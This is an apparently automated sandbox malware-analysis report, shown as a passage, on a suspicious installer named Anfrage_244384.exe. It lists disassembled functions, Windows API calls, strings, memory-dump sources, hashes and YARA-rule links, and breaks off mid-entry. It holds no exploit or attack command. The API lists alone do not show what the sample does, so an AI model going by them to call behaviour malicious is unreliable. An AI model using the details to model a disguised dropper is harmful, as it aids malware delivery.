                                                          • GlobalFree.KERNEL32(00000000), ref: 00405C6C
                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405C73
                                                            • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405A3A
                                                            • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
                                                          • String ID: %s=%s$NUL$[Rename]
                                                          • API String ID: 222337774-4148678300
                                                          • Opcode ID: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                          • Instruction ID: 6293277805e4fd93310031222b01184603883beffbc8e30d5776d07611dc3463
                                                          • Opcode Fuzzy Hash: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                          • Instruction Fuzzy Hash: 0D310171204B19BBE2206B255E89F6B3A5CDF42758F14013AFE41F22D2DA7C9C058EAD
                                                          Function 0040602E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                          • CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                          • CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage_244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                          • CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 0040602F
                                                          • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 0040606A
                                                          • *?|<>/":, xrefs: 00406076
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Char$Next$Prev
                                                          • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                          • API String ID: 589700163-3333888570
                                                          • Opcode ID: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                          • Instruction ID: 6dd00fd98cdd52380b6000705bfe1b2e5a3199cd407f9fb4c243556cad1baf37
                                                          • Opcode Fuzzy Hash: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                          • Instruction Fuzzy Hash: E81104A28847952DEB3296344C44B776F894F967A0F19007BE8C6722C3CA7C5CA2836D
                                                          Function 0040400F Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetWindowLongA.USER32(?,000000EB), ref: 0040402C
                                                          • GetSysColor.USER32(00000000), ref: 00404048
                                                          • SetTextColor.GDI32(?,00000000), ref: 00404054
                                                          • SetBkMode.GDI32(?,?), ref: 00404060
                                                          • GetSysColor.USER32(?), ref: 00404073
                                                          • SetBkColor.GDI32(?,?), ref: 00404083
                                                          • DeleteObject.GDI32(?), ref: 0040409D
                                                          • CreateBrushIndirect.GDI32(?), ref: 004040A7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                          • String ID:
                                                          • API String ID: 2320649405-0
                                                          • Opcode ID: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                          • Instruction ID: 4b93f18e3972f6c94df15fd0826ae0e2c8d28fcec101fb7672849d56c603d5ef
                                                          • Opcode Fuzzy Hash: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                          • Instruction Fuzzy Hash: 792124B1500744ABCB319F78DD48B5BBBF8AF41714B04892DEA96F22A0D734D944CB55
                                                          Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalFree.KERNEL32(00000000), ref: 1000234A
                                                            • Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234
                                                          • GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
                                                          • GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
                                                          • CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
                                                          • GlobalFree.KERNEL32(00000000), ref: 100022FB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
                                                          • String ID:
                                                          • API String ID: 3730416702-0
                                                          • Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                          • Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
                                                          • Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                          • Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61
                                                          Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                          • GlobalFree.KERNEL32(?), ref: 100024B5
                                                          • GlobalFree.KERNEL32(00000000), ref: 100024EF
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$Alloc
                                                          • String ID:
                                                          • API String ID: 1780285237-0
                                                          • Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                          • Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
                                                          • Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                          • Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62
                                                          Function 00404FDC Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                          • lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                          • lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,759223A0), ref: 00405038
                                                          • SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                          • SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                          • SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                          • String ID:
                                                          • API String ID: 2531174081-0
                                                          • Opcode ID: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                          • Instruction ID: 94b0b073a5ce97ddacba51ea26bc878ee4e16423412cd9a98c67571b7997b3ab
                                                          • Opcode Fuzzy Hash: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                          • Instruction Fuzzy Hash: D5219D71900518BBDF119FA5CD84ADFBFA9EF04354F14807AF944B6291C6398E40CFA8
                                                          Function 004048A7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004048C2
                                                          • GetMessagePos.USER32 ref: 004048CA
                                                          • ScreenToClient.USER32(?,?), ref: 004048E4
                                                          • SendMessageA.USER32(?,00001111,00000000,?), ref: 004048F6
                                                          • SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040491C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Message$Send$ClientScreen
                                                          • String ID: f
                                                          • API String ID: 41195575-1993550816
                                                          • Opcode ID: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                          • Instruction ID: b60015b5b4e1efc5408348c5136693cdb789d2fb79533d825e55e5a5312c0c55
                                                          • Opcode Fuzzy Hash: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                          • Instruction Fuzzy Hash: CE015EB590021DBAEB00DBA4DD85BFFBBBCAF55711F10412BBA50B61C0C7B499018BA4
                                                          Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDC.USER32(?), ref: 00401D98
                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
                                                          • MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
                                                          • ReleaseDC.USER32(?,00000000), ref: 00401DCB
                                                          • CreateFontIndirectA.GDI32(0040B818), ref: 00401E1A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CapsCreateDeviceFontIndirectRelease
                                                          • String ID: Tahoma
                                                          • API String ID: 3808545654-3580928618
                                                          • Opcode ID: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                          • Instruction ID: 1358c95a7d37f972e16a3fa2afb190f01721c65bbfaef5fc63903db35bf40af4
                                                          • Opcode Fuzzy Hash: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                          • Instruction Fuzzy Hash: DD015272544240AFE7006B74AE4A7A93FF8DB59315F10843AF141B62F2CB7900458FAD
                                                          Function 00402C13 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
                                                          • MulDiv.KERNEL32(0012CA0E,00000064,0012EEF8), ref: 00402C59
                                                          • wsprintfA.USER32 ref: 00402C69
                                                          • SetWindowTextA.USER32(?,?), ref: 00402C79
                                                          • SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C8B
                                                          Strings
                                                          • verifying installer: %d%%, xrefs: 00402C63
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Text$ItemTimerWindowwsprintf
                                                          • String ID: verifying installer: %d%%
                                                          • API String ID: 1451636040-82062127
                                                          • Opcode ID: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                          • Instruction ID: 7317fb9631212961ca73b33fff5b89fd9836da26efc2a3b2e30b0290716cf4a9
                                                          • Opcode Fuzzy Hash: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                          • Instruction Fuzzy Hash: 0E01627060020CFBEF209F60DE09EEE37A9EB04304F008039FA06A51D0DBB899518F58
                                                          Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
                                                          • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
                                                          • GlobalFree.KERNEL32(?), ref: 004027F2
                                                          • GlobalFree.KERNEL32(00000000), ref: 00402805
                                                          • CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
                                                          • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                          • String ID:
                                                          • API String ID: 2667972263-0
                                                          • Opcode ID: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                          • Instruction ID: 571a6d001cc63de597daa7fe39824babb5321d0f4a9ee8e37ed24c69abe451e8
                                                          • Opcode Fuzzy Hash: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                          • Instruction Fuzzy Hash: 62219C71800128BBCF217FA5CE89D9E7A79EF09324F14423AF551762E1CA794941DFA8
                                                          Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FreeGlobal
                                                          • String ID:
                                                          • API String ID: 2979337801-0
                                                          • Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                          • Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
                                                          • Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                          • Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2
                                                          Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?), ref: 00401D3F
                                                          • GetClientRect.USER32(00000000,?), ref: 00401D4C
                                                          • LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
                                                          • SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
                                                          • DeleteObject.GDI32(00000000), ref: 00401D8A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                          • String ID:
                                                          • API String ID: 1849352358-0
                                                          • Opcode ID: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                          • Instruction ID: 59b50efb9a894631b7e7ef6fc31e4c4877b28631b56f020e773a3ce1da8bb2e7
                                                          • Opcode Fuzzy Hash: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                          • Instruction Fuzzy Hash: 6EF0FFB2600519BFD700EBA4DF88DAFB7BCEB44301B10447AF641F2191CA749D018B38
                                                          Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
                                                          • SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Timeout
                                                          • String ID: !
                                                          • API String ID: 1777923405-2657877971
                                                          • Opcode ID: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                          • Instruction ID: c229e225b91697c78ff11bbf30ef832f008d48f992f947ceaaf7a44b37239d7f
                                                          • Opcode Fuzzy Hash: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                          • Instruction Fuzzy Hash: E921A271A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA788640DB28
                                                          Function 0040479D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                          • wsprintfA.USER32 ref: 00404843
                                                          • SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ItemTextlstrlenwsprintf
                                                          • String ID: %u.%u%s%s
                                                          • API String ID: 3540041739-3551169577
                                                          • Opcode ID: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
                                                          • Instruction ID: 1726a7b3b84a2b44988fbd512cc110d638b221a6b4b1acd42f263589eafed974
                                                          • Opcode Fuzzy Hash: 87a759055d291fd877383144180c8e5bed6145313cb5bdff1d542eccde70147e
